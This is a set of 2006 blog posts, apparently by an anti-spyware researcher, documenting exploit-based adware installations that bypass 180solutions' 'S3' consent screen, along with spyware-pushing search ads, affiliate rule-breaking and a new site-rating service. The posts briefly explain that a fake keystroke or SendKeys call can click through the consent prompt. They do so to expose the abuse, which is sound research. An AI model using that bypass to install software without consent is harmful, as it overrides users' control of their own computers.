Nonconsensual 180 Installations Continue, Despite 180’s "S3" Screen updated February 24, 2006

On Friday morning (February 17), I received a nonconsensual installation of 180solutions Zango software through a security exploit. I was browsing an ordinary commercial web site, when I got a popup from exitexchange.com (a major US ad network, with headquarters in Portland, Oregon) . The popup sent me to a third-party’s web site. (I’ll call that third party “X” for convenience. Details.) Then X ran a series of exploits to take control of my test PC, including using the widely-reported WMF exploit uncovered last month. Once X took control of my PC, X caused my computer to install and run 180solutions Zango software, among a dozen other programs. Notably, X fully installed 180’s Zango without me taking any action whatsoever — without me clicking “I agree,” “Yes,” “Finish,” or any other button of any kind. X installed 180’s Zango despite 180’s new “S3” protections, intended to block these nonconsensual installations.

Most aspects of this installation are remarkably standard. “Adware” installations through security exploits are all too common. And it’s not that unusual to see traffic flowing through an ad network — even a big US ad network.

But what’s newsworthy here is that 180solutions got installed, even though 180 last year told the world that these nonconsensual installations were impossible. Effective January 1, 2006, all 180solutions distributors were required to switch to 180’s “S3” installer. 180 claimed huge benefits from the new S3 system: 180’s October 2005 press release promised:

“The S3-enabled clients … mean[] 180solutions will own the entire experience from beginning to end on all installations of its products.”

180’s S3 Whitepaper (PDF) also falsely promises major benefits from S3:

“[I]nstallation cannot continue until the user gives consent.”

“Since the consent box comes directly from 180solutions, publishers are unable to turn it off.”

To the contrary, my video shows installation continuing even when a user does not consent. And my video shows a distributor faking a user’s click on the consent button.

See video of the nonconsensual installation of 180 Zango, including bypassing of the 180 S3 screen. (Note: Video has been edited to hide the identity of the installer at issue. Learn why. Within the video, yellow markup provides my comments and analysis.)

180’s S3 Technology and Its Design Flaws


180's S3 installation system180’s S3 installation system

Historically, 180’s installer programs have installed 180 software immediately, on the misguided assumption that 180’s distributors already obtained user consent. That approach is overly optimistic because 180’s distributors have no incentive to ask users’ permission: If distributors seek users’ permission, users might decline that unwanted offer, preventing distributors from getting paid by 180. So it comes as no surprise that many distributors have installed 180 without obtaining users’ consent. I have publicly posted at least five different videos showing such installations (1, 2, 3, 4, 5), and I have many more on file. Others have repeatedly found the same (1, 2, 3, 4, 5).

180’s S3 system seeks to address these nonconsensual installations by showing users a notice screen before 180solutions software installs onto their PCs. 180’s distributors are now supposed to run 180’s “stub” installer to display this notice screen; then users can choose whether or not to proceed. See example screen at right.

As a threshold matter, I don’t think 180’s S3 screen provides an accurate, truthful, complete disclosure of 180’s important effects. As I explained last month, the S3 screen oddly describes 180 only as showing “ads,” without mentioning that these ads appear in “pop-ups” — the essential characteristic reasonable users most need to know in order to decide whether they want 180’s software. The S3 screen also fails to describe the important privacy effects of installing 180’s software — that 180’s software will tell 180’s servers many of the sites users visit. The S3 screen does show a EULA — but it’s in an oddly-shaped box, and its text can’t be copied to the clipboard. Finally, the S3 screen labels its affirmative button “Finish” — even though the S3 screen is known to appear in circumstances where it is the first screen mentioning installation of 180’s software. A user cannot be asked to “finish” what he has not yet agreed to start; an “I agree” or “I accept” label would more clearly indicating the consent that the button is claimed to grant.

But beyond these important problems of wording and layout, the S3 installer also features a fundamental design flaw: Self-interested installers can easily bypass the S3 prompt. Installers can easily fake a click on the “Finish” button — just by simulating a single stroke of the “enter” key, or by simulating a click on a predictable button location. So faking a user’s consent is trivial — just a single Windows SendKeys API call.

Sure enough, my “X” installation reflects an installer using exactly these methods. In my video of X’s exploit-based installation of 180, the S3 notice was visible on screen for less than half a second — between 19.08 seconds and 19.57 seconds into the video. During that half-second, exploit-delivered software (installed on my test PC mere seconds before) pressed “Finish,” at which point 180 completed its installation, putting itself in my System Tray (next to the Windows clock), beginning to download its supplemental files, and beginning to monitor my web browsing.

180’s Bad Partners and 180’s Flawed Business Model

180 seems to intend its S3 installer to protect 180 and users from the untrustworthiness of 180’s distribution partners. 180 is right to think that S3 makes it somewhat harder for distributors to install 180 without getting users’ consent. But the increase in difficulty isn’t much — certainly not enough to deter any serious installer. Those who want to get paid for installing 180 will find that S3 presents at most a small speedbump; it’s hardly the airtight blockade 180’s press release claims.

For 180, the appropriate response to nonconsensual installations is not merely a small improvement in installer program design. Rather, 180 should rethink its entire distribution business model. 180 has repeatedly written about the “long tail” of distributors (1, 2, 3) — 180’s plan for thousands of different web sites installing 180’s software when users browse their materials, and thousands of different programs bundling 180. It’s an interesting vision, but in my view impractical and unwise. With so many distributors, 180 will be unable to assure that each distributor really does obtain consent — rather than cheating the system, as X did.

180’s October press release correctly describes the serious harms that occur when users receive many advertising programs. “A myriad of unwanted software … can often negatively impact system performance,” 180 admitted. But 180 then claimed that S3 would keep 180 out of such bundles. I disagree. According to my records, the installation at issue also installed Ad-w-a-r-e, Adservs, Integrated Search Technologies, Internet Optimizer, Media Tickets, New.net, Quicklinks, Surfsidekick, Tagasaurus, Targetsaver, Toolbar888, Ucmore, Webhancer, Web Nexus, WinFixer, and more. These many programs collectively bombarded my test PC with an incredible 730 registry keys, 1194 registry values, 461 files, and 43 file folders. Worse, the newly-installed programs caused 61 processes to run on my test PC, via 24 EXEs set to load each time I turned on my computer. The programs even added three different toolbars to my web browser. This overwhelming burden made it difficult even to inventory and track the programs’ additions and effects. So many co-bundled programs hardly satisfy the “prevent[ing] customers … from receiving a myriad of unwanted software” promise in 180’s press release.

Why “X” and an Obscured Video?

Long-time visitors to my web site may reasonably wonder: Why the markings in my screen-capture video? And why refer to the 180 distributor as “X,” rather than by its actual name and URL? After all, I’ve long provided video proof of my observations, and I’ve been naming names ever since my 2003 listing of advertisers using Gator (now Claria).

But I’ve run out of patience for being outside quality control staff for 180solutions. An episode last month was particularly instructive: Security company FaceTime found an AOL Instant Messenger worm that was installing 180solutions. 180’s response? After FaceTime reported the details, 180 trivialized the finding and issued a self-serving press release. Rather than admit that their software still becomes installed improperly, 180 danced around the issue and tried to use these wrongful installations to obtain a public relations benefit.

CDT‘s experience with 180 is similarly instructive. After two years of alerting 180solutions to its various bad practices, CDT recently ceased working with 180, instead electing to file a complaint with the FTC.

I too have decided no longer to share my work with 180solutions. As discussed in the preceding section, I have concluded that 180’s business model is fundamentally broken — that 180 cannot implement technology or enforcement to assure the proper installation of its software. Accordingly, just as CDT terminated its discussions with 180, I have resolved not to tell 180solutions which specific distributor was responsible for this installation.

Despite my decision not to work with 180 on resolving these installations, I will make my research available to those with a legitimate need to know. I expect to provide (and in some cases already have provided) this information to law enforcement officials considering action against 180solutions, to private attorneys in litigation against 180solutions, to members of the press seeking to verify my findings, and to other security researchers. Please contact me to request the original raw video file. As usual, I also retain full packet logs, raw screen-captures, registry change logs, filesystem change logs, HijackThis logs, Ad-Aware logs, and additional records.

Update (February 24): My Response to 180’s Press Release

180solutions has found and terminated the distributor I described above, which I’m now happy to reveal was crosskirknet.com. But what a road to get there! 180’s press release suggests 180 figured this all out within hours of my initial post. I’m convinced that that’s false. First, 180 terminated some other bad installer — only later realizing that the installer I found was someone different. Sunbelt has the details — how we figured out (and proved) that 180 hadn’t cut off this installer when 180 issued the press release saying they had. In a blog post, 180 now admits that we’re right and their press release was wrong. (Of course the right response to a false statement in a press release is a correction press release, not a mere blog post. Otherwise, many readers might get the press release, e.g. via the news wire, but never see the blog post.).

180’s press release claims that S3 “enabled the company to go back and re-message every user who received its software [from this nonconsensual installer] and provide them a one-click uninstall.” 180’s blog says the same: “We re-messaged each of [these] installs and provided … a one-click uninstall of our software.” In both documents, 180 writes in the past tense (“enabled”, “re-messaged”, “provided” ), seemingly indicating that these re-notifications have already occurred. But I have yet to receive any such prompt, despite substantial efforts to seek it out (e.g. by repeatedly restarting my test PC). I’ve also received many 180solutions ads on my infected test PC, despite 180’s claim that it “shut off all advertisements to all installs” from this distributor. So here too, I think 180’s statements are off-base. 180 may intend or aspire to provide renotifications, and 180 may intend to shut off ads. But by all indications, 180 hasn’t actually done so, at least not yet. I’ve confirmed my findings with Sunbelt; they haven’t seen this re-notification either, and they’re still getting ads too.

180’s press release quotes 180’s CEO as saying “No software is ever hack-proof.” I agree. But 180 has previously made public statements falsely indicating that its software is not susceptible to those who want to install 180 without consent. Recall 180’s S3 Whitepaper (PDF), explicitly stating “[I]nstallation cannot continue until the user gives consent” and “Publishers are unable to turn [the consent screen] off” (emphasis added). These are not claims of mere hopes or aspirations. No, 180 promised that installation “cannot” proceed without consent. But now that I’ve disproven 180’s claim, 180 tries to backpeddle and to weaken its unambiguous statement. The better approach would be to admit that 180’s prior promises went too far, and that 180’s software cannot actually deliver the benefits 180 previously described.

180’s press release concludes with a section 180 labels “a call for ‘responsible disclosure’.” Citing practice among those who find security vulnerabilities in widely-deployed software, 180 says researchers should tell 180 when they find nonconsensual installations of its software, rather than keep this information to themselves or provide it to law enforcement. I understand that 180 would like to receive this information, and I do follow responsible disclosure principles when I find software vulnerabilities. But responsible disclosure principles just don’t apply to records of nonconsensual installations.

Responsible disclosure principles seek to prevent hackers from taking advantage of newly-uncovered security vulnerabilities. If hackers learned about vulnerabilities before software vendors had time to prepare patches, users would face increased security risks, with few good options for protection. So responsible disclosure principles have a clear purpose and a clear benefit to users — which is why I followed these principles when I previously found vulnerabilities in widely-deployed software.

But what I uncovered, above, is not a security vulnerability. I didn’t find a new security hole, or a new way to take advantage of some existing hole. All I found was some bad guy who’s already using these methods — and who 180 has been prepared to pay for his efforts. There’s no heightened risk of harm to users from my reporting what’s already happening. Perhaps this particular bad actor got to continue his scheme for a few more days while 180 struggled to figure out who was responsible. But that’s the entire harm that resulted from my refusal to tell 180 what happened — that’s the usual, background, ongoing risk of harm; it’s not a heightened risk created by my disclosure itself. When I posted information about these nonconsensual 180 installs, I didn’t put users at special risk of any worm or exploit, in the way that responsible disclosure principles intend to prevent.

So where does this leave us? 180’s S3 system is still broken in all the ways I initially set out. 180’s press release made claims that can be shown to be false, as did 180’s prior statements of S3’s benefits, but 180 has not properly retracted its false statements. And 180’s analogies don’t add up. I’d still like to see 180 spend more time improving its practices, and less time on premature press releases and public relations.

Thanks to TechSmith for providing me with a complimentary license of its Camtasia Studio, the video annotation software I used to mark up my screen-capture video of this installation.

Pushing Spyware through Search

This article uses data from SiteAdvisor, a company to which I serve as an advisor.

Much of the computer security industry acts like spyware is immaculately conceived. Somehow it just appears on computers, we are led to believe, and supposedly all we can do is clean up the mess after it happens, rather than prevent it in the first place. I disagree.

Now, we all love Google. I use Google’s search site all day every day, and I enjoy their downloadable applications too. So I have the greatest respect for Google’s core service. But there’s another side to their business. Indirectly, Google and other search engines make big money from spyware, through paid search advertising that infects users who don’t know any better or don’t understand what they’re getting into.

Consider a Google search for “screensavers”:

Risky Entries in 'Screensavers' Search Results

The colored icons next to search results were inserted not by Google, but by the SiteAdvisor client application, based on the results of SiteAdvisor’s automated tests for each listed site. Six of Google’s ten sponsored links get “red” or “yellow” ratings — generally indicating unwanted advertising through spyware or, in some instances, high-volume commercial email. But without SiteAdvisor (or some similar protection), users would have no idea which sites were safe; they’d be at great risk of clicking through to an unsafe site, ultimately risking installation of unwanted software.

Screensaver Advertisers’ Business Model

Google surrounds its “screensavers” search results with ten ads selected from interested Google advertisers. Whenever I see a company buying an ad (online or offline) for a “free” product, I ask myself: How do they make money? With few exceptions, companies only buy online advertising when they expect to get something directly in return. (There are exceptions — dot-com bubble “eyeball” purchases, Fortune 500 “brand building,” perhaps some free ads offered by the Google Foundation.) But in the case of these screensaver providers, they’re almost certainly making money somehow if they can afford to pay Google’s high pay-per-click prices.

So how do Google’s screensaver advertisers make money? Most of Google’s screensaver advertisers really do offer screensavers that are “free” in the sense that users need not provide a credit card number. But they’re not free in the sense of being available without substantial adverse effects. Quite the contrary: Users must put up with various forms of intrusive advertising.

Let’s look at funscreenz.com, a top-ten Google advertiser for “screensavers.”

"Funscreenz installation page

Funscreenz.com is owned by BestOffersNetwork, which is another name for notorious “adware” company Direct Revenue. Recall Direct Revenue’s Newsweek profile – plenty of users (and multiple lawsuits) alleging that their software installs improperly and, in many cases, without consent. I’ve previously documented Direct Revenue installed in tricky popups, via false claims of purportedly-required add-ons, and through exploits without any consent at all.

Of course Funscreenz is not alone. Also in top “screensavers” Google results are ads for Claria, Ask Jeeves, and various adware bundlers (who distribute changing or multiple advertising programs). One top Google “screensaver” advertiser sends 15+ emails per week to those who provide an email address to get a screensaver. Results at Yahoo and MSN are similar.

Estimating Search Engine Revenues from Spyware Infections

Every time a user clicks through a search engine ad, the search engine gets paid. Google doesn’t ordinarily say how much advertisers pay. But Yahoo (which does) charges about $0.25 for a “screensavers” click. Let’s do some math. Of the users who click through to screensavers.com, suppose 10% actually download a screensaver – a conversion rate most web sites would celebrate. Then screensavers.com needs to earn $2.50 per download ($0.25/10%) just to break even. That’s a lot of money per download. But they’re buying the ads anyway, and they’re savvy decision-makers. So we can deduce that this site grosses at least $2.50 per download.

How much money do search engines make from these ads? Some initial back-of-the-envelope estimates: According to Yahoo’s keyword inventory tool, “screensaver” (and its hundred most common variants) received about 2.3 million searches in December 2005. Suppose 20% of those searchers clicked on paid links. (That’s conservative, since ads fill more than half of typical users’ screens.) As estimated above, suppose Yahoo collects $0.25 per paid click. Then Yahoo made about $115,000 in December 2005 from “screensaver” and variants. Throw in Google, with its bigger market share, and “screensaver” likely yields about $250,000 of revenue per month.

Of course, not all “screensaver” ads ultimately yield spyware. But from SiteAdvisor’s tests, it seems at least 60% push spyware, spam, or similar unwanted materials. So Google and Yahoo’s “dirty” revenue, from dubious screensavers ads, is probably about $150,000 per month.

But “screensaver” is only one of many terms that commonly leads to spyware and adware. I’ll look at other risky keywords in future articles, as I try to measure the prevalence of this problem in greater detail. Reviewing traffic data from Yahoo’s inventory tool, I’m confident that similarly-affected keywords total at least fifteen times the traffic to “screensavers.” Then Google and Yahoo make about $2.2 million per month, or $26 million per year, through this spyware-pushing advertising. That may not be big money to them, but to my eye it’s a lot.

Clearly there are quite a few estimates here. Send email for methodological improvements and alternative data sources.

Closing Thoughts

As with so many great Internet inventions, the bad guys have stormed the gates of search engines. Now is the time to start fighting back. That doesn’t mean search engines should blacklist every company I ever criticize, but some “adware” vendors are so shady that search engines could proudly refuse their money. Responsibility starts at home. More on search engines’ possible strategies in a future article.

Past work on search engines funding spyware: Yahoo ads syndicated into spyware, Google ads shown through spyware-delivered popups and other vendors’ improperly-installed toolbars.

Affiliate Hall of Shame updated February 19, 2006

I’ve always had high hopes for affiliate marketing — a great way for small web sites to cover their costs and make a reasonable return, by promoting well-known merchants relevant to their visitors. I stand by this optimism, in general. But after several years of watching this space, my expectations have fallen significantly. I’ve seen countless examples of “rogue” affiliates cheating their “partner” merchants. And I’ve seen plenty of underhanded practices from merchants too.

Popular wisdom says most “rogue” affiliates are small. The big guys have too much to lose by getting caught. So we can trust them to behave. Or can we?

Intro to Affiliate Marketing and Small-Time Rule Breakers

In principle there’s nothing unique about affiliate marketing: As in other marketing channels, merchants pay third parties to promote their products. And as in other marketing channels, sometimes this advertising goes terribly wrong — showing merchants’ ads in ways that don’t reflect well on the merchant or the ad channel, cheating merchants by claiming payments not fairly earned, and siphoning payments from other ad channels.

What’s notable about affiliates is the relative prevalence of bad practices. Through affiliate networks, merchants sign up to advertise with hundreds of small companies (and individuals) they don’t really know and haven’t reasonably investigated. Worse, when an affiliate gets caught breaking the rules, the affiliate often just signs up under a new name: Having earned little reputation, the affiliate has little to lose, so there’s little penalty for starting fresh under a new name. With such limited accountability, enforcement is tougher than in other channels. Hence my sense that there are more bad actors in affiliate marketing than in other kinds of marketing.

I show examples of these problems in my September piece on affiliates funding spyware and simultaneously defrauding merchants. See also my Affiliate Summit slides showing new examples of similar practices.

Of course not all affiliate fraud uses spyware. There’s affiliate cookie-stuffing, whereby affiliates claim commissions without users actually clicking through a link to merchants’ sites. (This violates networks’ rules, which say a merchant only has to pay a commission if a user clicks a link.) See also my index of additional affiliate research and testing.

In calling these rule-breakers “small,” I don’t mean to say they don’t make real money by cheating merchants. Quite the contrary! But these “small” affiliates earn fees without developing brand names for themselves. They’re “small” in the sense of appearing and disappearing willy-nilly, without anyone much caring or, in many cases, even noticing.

Big Affiliates Breaking the Rules: CoolSavings and MyPoints

With slim to nonexistent reputations, small affiliates are often tempted to flout the rules. But major affiliates also compromise ethics in order to increase profits.

Notorious among affiliates gone bad is ShopAtHomeSelect, whose software has been widely installed without consent and has been widely observed to “force clicks” without an affirmative end user action. These practices got SAHS kicked out of CJ in fall 2005. But oddly SAHS remains in LinkShare.

Turning to fresh research: Consider well-known affiliates CoolSavings and MyPoints. CoolSavings is a $16.7+ million company, featured in various LinkShare promotional materials, even touted in Wall Street Journal coverage of affiliate marketing. MyPoints is featured in a CJ case study, and LinkShare lists MyPoints with just five other premium “partners” on a special page. So CoolSavings and MyPoints are big, well-respected affiliates. If they don’t follow the rules, no one will.

As it turns out, CoolSavings and MyPoints are widely violating applicable rules. Despite clear prohibitions from affiliate networks, both CoolSavings and MyPoints recently began using “adware” (“spyware,” most users would say) to recruit new users, at the expense of their targeted “partner” merchants. See screenshots below, showing CoolSavings and MyPoints receiving traffic from Direct Revenue. When users visit targeted merchants, Direct Revenue shows CoolSavings or MyPoints pop-ups, which encourage users to register and ultimately to click through to merchants’ sites. Then merchants end up paying CoolSavings or MyPoints for users they already had — expenses they need not have paid, but for CoolSavings’ and MyPoints’ intervention.

CoolSavings Targeting Buy.Com via Direct  Revenue   MyPoints Targeting a CJ Merchant via Direct  Revenue
CoolSavings Targeting Buy.Com via Direct Revenue
(January 12, 2006)
  MyPoints Targeting a CJ Merchant via Direct Revenue
(January 2, 2006)

CoolSavings and MyPoints’ ads violate applicable affiliate network rules. Commission Junction prohibits affiliates from buying media from “ad services that download and install software on an end user’s computer” — so traffic from Direct Revenue is clearly off-limits. But that’s not the only rule these pop-ups violate. Recall CJ’s rule against “in any manner … modif[ying]” others’ sites. And LinkShare forbids (PDF) “alter[ing] in any manner the Web user’s … view … of … any network affiliate webpage” (rule 1.(a)(i)).

In my view, these Direct Revenue-delivered pop-ups are serious offenses against the targeted merchants. CoolSavings’ and MyPoints’ pop-ups appear as users browse affiliate merchants’ web sites. For example, a CoolSavings pop-up (shown above, at left) appeared as I browsed Buy.com, a CoolSavings partner: Buy.com pays CoolSavings for sending it customers. But despite this alliance and despite applicable affiliate network rules, CoolSavings still uses use Direct Revenue to grab Buy.com customers.

When MyPoints performs similar targeting of its merchant partners, MyPoints explicitly attempts to capitalize on its partners’ goodwill. In the areas blocked out in green (in the right screenshot above), MyPoints specifically names the company a user was visiting before MyPoints interrupted. These references give MyPoints’ ads a further appearance of legitimacy. But the references simultaneously tarnish MyPoints’ partners’ good names — by putting their names into Direct Revenue pop-ups.

Earlier this month, I brought MyPoints’ use of Direct Revenue to the attention of a targeted CJ merchant. Since that report, I haven’t seen many MyPoints pop-ups appearing through Direct Revenue. But affiliates ought to comply with applicable rules from the get-go, without me first identifying or reporting infractions. Merchants should demand no less.

I will update this piece with any material statements I receive from merchants, networks, or CoolSavings or MyPoints. I will be particularly interested in penalties, if any, assessed against these affiliates for their violations of networks’ rules.


Update (January 31): I have received no response from CoolSavings, MyPoints, or any affiliate network. But despite my public documentation of CoolSavings’s practices, CoolSavings’s “adware”-delivered ads continue. See screenshot below, showing a CoolSavings FreeStyleRewards popup delivered by 180solutions (“Zango”), as users browse Circuit City’s web site.

CoolSavings Targeting Buy.Com via Direct  RevenueCoolSavings’ FreeStyleRewards Continues to Target Circuitcity.com via 180solutions (January 28, 2006)

FreeStyleRewards’ merchant list (registration required) confirms that Circuit City is a FreeStyleRewards advertiser. So not only is CoolSavings FreeStyleRewards buying adware-delivered traffic (in specific violation of an applicable Commission Junction rule), but FreeStyleRewards is also targeting its business partner’s traffic.

CoolSavings FreeStyleRewards cannot claim ignorance of its traffic sources. For one, these practices have been publicly-documented for two weeks, since my initial January 16 article. Furthermore, 180 sends traffic to a FreeStyleRewards URL that specifically confirms CoolSavings FreeStyleRewards’s knowledge of the traffic’s origin: http://www.freestylerewards.com?ref=metricsdirect&bn=www_circuitcity_com&bl=lp-ce . Notice the highlighted reference to MetricsDirect, the advertising sales division of 180solutions.


Update (February 17): I have received a statement from MyPoints. I quote it here in its entirety:

“MyPoints is a leader in permission-based marketing and is firmly committed to marketing ourselves through channels and with products that respect the privacy and experience of consumers and deepen our productive relationships with our advertisers.

From November 2005 through the middle of January 2006, MyPoints ran a small-scale campaign with an “adware” firm.

When we became aware that the campaign might be in conflict with the best interests of our advertisers, we immediately pulled the advertisements and terminated our relationship with the company.

MyPoints will continue to be extra diligent with regard to selection of acquisition partners. We maintain extremely strong relationships with the affiliate networks and their merchant partners. MyPoints continues to be a leader in opt-in marketing and sets the highest bar possible with respect to privacy, permission and choice.”


CoolSavings Targeting Buy.Com via Direct  RevenueCoolSavings Continues to Target Its Merchants via Hotbar
(February 19, 2006)

Update (February 19): I have continued to observe CoolSavings ads appearing through advertising software, still in violation of applicable CJ rules and stil targeting CoolSavings merchants. See screenshot at right, observed last week on a PC running Hotbar, as I browsed the web site of a CoolSavings merchant.

180’s Newest Installation Practices

I’ve previously covered a variety of misleading and/or nonconsensual installations by 180solutions. I’ve recorded numerous installations through exploits (1, 2, 3, 4, 5) — without any user consent at all. I’ve found installations in poorly-disclosed bundles — for example, disclosing 180’s inclusion, but only if users happen to scroll to page 16 of a 54-page license. I’ve even documented deceptive installations at kids sites, where 180 installs without showing or mentioning a license agreement.

The Doll Idol site, which encourages users to install 180 software without a frank disclosure of 180's true effects.The Doll Idol site, which encourages users to install 180 software without a frank disclosure of 180’s true effects.

180 has cleaned up some of these practices, but the core deception remains. 180 still installs its software in circumstances where reasonable users wouldn’t expect to receive such software — including web sites that substantially cater to kids. And users still aren’t fairly told what they’re slated to receive. 180 says that it shows “advertising,” but no on-screen text warns users that these ads appear in much-hated pop-ups. 180 systematically downplays the privacy consequences of installing its software — prominently telling users what the software won’t do, but failing to disclose what the software does track and transmit. All told, users may have to press a button before 180 installs on their computer, but users can’t reasonably be claimed to understand what they’re purportedly accepting.

Screenshots and detailed analysis:

180solutions’s Misleading Installation Methods – Dollidol.com

Deciding Who To Trust

This article is a bit different from most of my site: My other articles generally discuss specific vendors, their practices, and how they cause harm. This article offers a possible solution — from a company that, let me say at the outset, has invited me to join its advisory board. They didn’t ask me to write this; I’m writing on my own. And they don’t control me or what I write. But for those not interested in a commercial service that may help protect users from spyware, please read no further.

Much of the spyware problem results from users visiting sites that turn out to be untrustworthy or simply malevolent. I’m certainly not inclined to blame the victimized users — it’s hardly their fault that sites run security exploits, offer undisclosed advertising software, or show tricky EULAs that are dozens of pages long. But the resulting software ultimately ends up on users’ computers because users browsed to sites that didn’t pan out.

How to fix this problem? In theory, it seems easy enough. First, someone needs to examine popular web sites, to figure out which are untrustworthy. Then users’ computers need to automatically notify them — warn them! — before users reach untrustworthy sites. These aren’t new ideas. Indeed, half a dozen vendors have tried such strategies in the past. But for various reasons, their efforts never solved the problem. (Details below).

This month, a new company is announcing a system to protect users from untrustworthy web sites: SiteAdvisor. They’ve designed a set of robots — automated web crawlers, virtual machines, and databases — that have browsed hundreds of thousands of web sites. They’ve tracked which sites install spyware — what files installed, what registry changes, what network traffic. And they’ve built a browser plug-in that provides automated notification of worrisome sites — handy red balloons when users stray into risky areas, along with annotations on search result pages at leading search engines.

The SiteAdvisor Idea

I’ve long known that the best way to assess a web site’s trustworthiness is to examine and test the site. In general that’s remarkably time-consuming — requiring at least a few minutes of time, of a high-skill human researcher. But a tester is inevitably looking for a few basic characteristics. Does the site offer programs for download? If it does, do those programs come with bundled adware or spyware? In principle this is work better suited to a robot — a system that can perform tests around the clock, with full automation, in massive parallel, at far lower cost than a human staff person. SiteAdvisor has built such robots, and they’re running even as I write this. The results are impressive. See an example report.

Of course automated testing of web sites can find more than just spyware. What about spam? Whenever I see a web form that requests my email address, I always worry: Will the web site send me spam? Or sell my name to spammers? As with spyware, it’s a problem of trust. And it’s a problem SiteAdvisor can investigate. Fill out hundreds of thousands of forms, putting a different email address into each. Wait a few months and see which addresses get spam. Case closed.

To provide users with timely information about who to trust, SiteAdvisor has to put a plug-in into users’ browsers. In general I’m no fan of browser plug-ins; most plug-ins serve marketing companies’ interests (i.e. by showing ads) rather than actually helping users. But at just 92 pixels in width, SiteAdvisor’s plug-in is remarkably unobtrusive. I run it on my main PC, and it shares space otherwise left vacant by the Google Toolbar (the only other browser plug-in I accept). See first screenshot below, showing SiteAdvisor in action.

SiteAdvisor in action, evaluating zango.com.   SiteAdvisor's detailed "dossier" report of entertainmentwallpaper.com -- reporting what downloads it offers (and what software they bundle), as well as links, emails, and other areas of  possible concern.

Of course there’s more to SiteAdvisor than just these pop-up balloons. If a user clicks “More” in a warning balloon, or otherwise searches the SiteAdvisor site, SiteAdvisor gives detailed information about the risks it found. These detailed “dossiers” report what downloads a site offers (and what software they bundle), as well as links to other sites (potentially hostile or tricky), emails (potential spam), and other areas of possible concern. See right image above, and additional screenshots.

My Role in SiteAdvisor – and How Others Can Help

I’ve been excited about SiteAdvisor — about their product, their technology, and (most importantly) their ability to help users with a serious problem — ever since I learned about the company. I’m so impressed that I agreed to join the company’s advisory board. I’m not involved in day-to-day operations, so specific suggestions are best sent to SiteAdvisor staff, not to me. That said, my relationship with SiteAdvisor is likely to be longer and deeper than my typical consulting gigs, reflecting the seriousness of my commitment to SiteAdvisor.

It’s not easy to design robots that automatically rate the web, and despite SiteAdvisor’s best efforts, their initial ratings aren’t quite perfect. With that in mind, they’re running a preview program. Interested readers can browse SiteAdvisor’s ratings and flag anything that seems wrong or incomplete. SiteAdvisor’s system anticipates its own fallibility — it offers numerous areas for users to contribute comments. There’s even space for reviewed web sites to comment on their ratings — for example, to explain why they think they’ve been unfairly criticized.

Why get involved? If you think, as I do, that SiteAdvisor will attract a large group of passionate users, then it’s sensible to help improve the reviews these users receive. Also, SiteAdvisor has produced an incredible dataset, which they’ll be sharing under a Creative Commons license. In the coming months, I’ll be using this data for research; I’m anticipating some exciting articles analyzing how and where users get infected with spyware. Meanwhile, preview participants get access to SiteAdvisor’s fascinating dossiers (example) — a great way to track which programs install which spyware.

SiteAdvisor in Context

As I mentioned above, SiteAdvisor isn’t the first group seeking to improve the web by rating web sites. But SiteAdvisor makes major advances over previous efforts.


An ActiveX installer with a misleading company name, purportedly  "click yes to continue."An ActiveX installer with a misleading company name, purportedly “click yes to continue.”

Consider, for example, the code-signing system associated with ActiveX controls. (See example at right.) Anticipating security problems with ActiveX, Microsoft designed IE so that it only shows an ActiveX installation prompt if the ActiveX package is properly signed by an accredited code-signer like (in this example) VeriSign. VeriSign in turn sets criteria on who can receive these certificates. But despite these checks, the system turns out to be woefully insecure. For one, VeriSign wasn’t always tough in limiting who can get its certs. (The cert at right was issued a company calling itself “click yes to continue,” a highly misleading company name. Additional examples.) In addition, VeriSign’s main requirement is that a company provide a verifiable name. A company’s software may be highly objectionable — pop-up ads, privacy violations, spam zombies, you name it — but if the company gives its true name and pays VeriSign $200 to $600, then they’re likely to receive a certificate. After I criticized VeriSign’s cert-issuing practices this spring, VeriSign tightened its processes somewhat, but its Thawte subsidiary continues to issue certificates to companies that users rightly dislike. And other cert-issuers are even worse.

The ActiveX debacle shows at least three problems that can plague a certification system.

1) Certifying the wrong thing. ActiveX code-signing certifies characteristics of lesser concern to typical users. In particular, ActiveX code-signing it certifies that a vendor is who it says it is, and code-signing certifies that the specified vendor really did develop the program being offered. That’s a nice start, but it’s not what most users are most worried about other. Instead, users reasonably want to know: Is this program safe? Will it hurt my computer? As it turns out, a code-signing certificate says nothing about trustworthiness of the underlying code. But seeing the “verified” statement and VeriSign’s well-respected name, users mistakenly think code-signing means a program is sure to be safe.

2) Dependent on payment. I worry about certification businesses that receive payment from the companies being certified. If VeriSign issues a code-signing certificate, it gets paid $200 to $600. If it denies a cert, it gets $0. So it’s no surprise that lots of certificates get issued. I credit VeriSign’s good intentions, on the whole. But VeriSign staff face some odd and troubling incentives as they try to meet their code-signing financial objectives.

3) Complaints. There’s often no clear procedure for users to complain of improperly-issued certificates. I previously noted that VeriSign lacked a formal complaint and investigation process. After my article, VeriSign established a complaint form. But there are no public records of complaints received, of pending complaints, or of complaint dispositions. VeriSign may be doing a great job of handling complaints and of correcting any errors, but the public has no way to know.

Remarkably, these same problems plague other self-styled trust authorities. TRUSTe‘s main seal, its Web Privacy Seal, largely certifies that a web site has a privacy policy and that the site has agreed to resolve disputes in the way that TRUSTe requires. The policy might be highly objectionable and one-sided, but TRUSTe will still issue its seal. From the perspective of typical users, this is a “certifying the wrong thing” problem: Users expect TRUSTe to tell them that a site’s privacy policy is fair and that users can confidently provide personal information to the site, but in fact the certificate implies no such thing. (Indeed, six months after I revealed Direct Revenue, eZula, Hotbar, and Webhancer as TRUSTe certificate-holders, TRUSTe’s member list says all but eZula are all still members in good standing. In addition, these companies are known not for their web sites but for their advertising software — products TRUSTe’s certificate doesn’t cover at all. So TRUSTe’s certification is especially likely to mislead users seeking to evaluate these vendors.) Furthermore, TRUSTe receives much of its funding from the vendors it certifies, raising the worry of financial incentives to issue undeserved certificates. Finally, when I’ve sent complaints to TRUSTe, I haven’t always felt I received a prompt or appropriate response. So in my view TRUSTe suffers the same three problems I flag for the VeriSign/code-signing system.


TrustWatch‘s search engine and toolbar are superficially similar to SiteAdvisor: Both companies offer toolbars that claim to help users stay safe online. But TrustWatch suffers from the same kinds of mistakes described above. TrustWatch generally endorses a site if it has a certificate from GeoTrust, Entrust, TRUSTe, or HackerSafe. These groups vary in their respective policies, but none of them affirmatively checks for the privacy violations, spyware, spam, or other ill effects that users reasonably worry about. Instead, their focus is on SSL certificates — important for some purposes, but peripheral to today’s biggest security problems. Meanwhile, the TrustWatch endorsers charge for their certs — raising the payment problems flagged above. Predictably, TrustWatch’s system yields poor results. For example, TrustWatch certifies 180solutions and Direct Revenue with its highest “verified secure” rating. That’s an endorsement few security experts would share.

